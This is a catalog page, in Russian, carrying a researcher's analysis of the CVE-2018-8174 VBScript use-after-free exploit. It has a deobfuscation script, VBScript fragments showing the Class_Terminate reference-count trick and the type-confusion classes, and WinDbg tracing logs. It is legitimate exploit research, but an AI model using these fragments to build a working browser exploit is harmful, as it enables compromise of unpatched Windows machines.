Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2018-8174_analysis — Анализ VBS-эксплойта CVE-2018-8174 | Kitploit
Инструменты/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
Криминалистика памятиАнализ уязвимостейЭксплуатацияОбратная инженерияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

Анализ VBS-эксплойта CVE-2018-8174

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
3014168 лет назадПроверено Kitploit

Разбор современного браузерного эксплойта: практический анализ CVE-2018-8174

Обзор

Когда этот эксплойт впервые появился на рубеже апреля и мая, он вызвал мой интерес, поскольку, несмотря на сильную обфускацию, структура кода казалась хорошо организованной, а код эксплуатации уязвимости — достаточно компактным, что упрощало анализ. Я скачал POC с github и решил, что это хороший кандидат для изучения внутреннего устройства. На тот момент уже были опубликованы два анализа: первый от 360 и второй от Kaspersky. Оба помогли мне понять, как это работает, но не были достаточными для глубокого понимания каждого аспекта эксплойта. Поэтому я решил проанализировать его самостоятельно и поделиться результатами.

Предварительная обработка

Сначала, чтобы убрать целочисленную обфускацию, я использовал замену регулярных выражений в скрипте Python:

import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# крайне безопасно :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

Что касается обфусцированных имён, я переименовывал их постепенно в процессе анализа. Этот анализ лучше всего читать вместе с исходным кодом, ссылка на который приведена в конце.

Use after free

Уязвимость возникает, когда объект уничтожается и вызывается пользовательская функция Class_Terminate(). В этой функции ссылка на освобождаемый объект сохраняется в UafArray. Теперь UafArray(i) ссылается на удалённый объект.

Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' исправляем счётчик ссылок
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Также обратите внимание на последнюю строку в Class_Terminate(). Когда мы копируем объект ClassTerminate в UafArray, его счётчик ссылок увеличивается. Чтобы сбалансировать это, мы снова освобождаем его, присваивая другое значение FreedObjectArray. Без этого память объекта не была бы освобождена, несмотря на вызов Class_Terminate, и следующий объект не был бы размещён на его месте.

Метод VBScriptClass::Release

Создание и удаление новых объектов повторяется 7 раз в цикле, после чего создаётся новый объект класса ReuseClass. Он выделяется в той же памяти, которая ранее была занята 7 экземплярами ClassTerminate. Чтобы лучше это понять, вот простой скрипт WinDbg, отслеживающий все эти выделения:

bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Вот журнал выделений из функции UafTrigger:

Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

Мы сразу видим, что ReuseClass действительно выделяется в той же памяти, которая была назначена 7 предыдущим экземплярам ClassTerminate. Это повторяется дважды. В итоге мы получаем два объекта, на которые ссылаются UafArrays. Ни одна из этих ссылок не отражена в счётчике ссылок объекта. В этом журнале также можно заметить, что даже после вызова Class_Terminate выполняются некоторые манипуляции с объектом, изменяющие его счётчик ссылок. Поэтому, если бы мы не сбалансировали этот счётчик в Class_Terminate, мы бы получили что-то вроде:

Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Другие адреса выделения. Эксплойт не смог бы создать условие use after free.

Type Confusion

Создав эти два объекта с 7 неучтёнными ссылками на каждый, мы установили примитив произвольного чтения памяти. Есть два похожих класса ReuseClass и FakeReuseClass. Замена первого класса вторым приводит к type confusion для члена mem.

Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' на самом деле вызовет Default Property Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

В функции SetProp сохраняется ReuseClass.mem и вызывается Default Property Get класса ReplacingClass_*, результат этого вызова будет помещён в ReuseClass.mem.

Скачать инструмент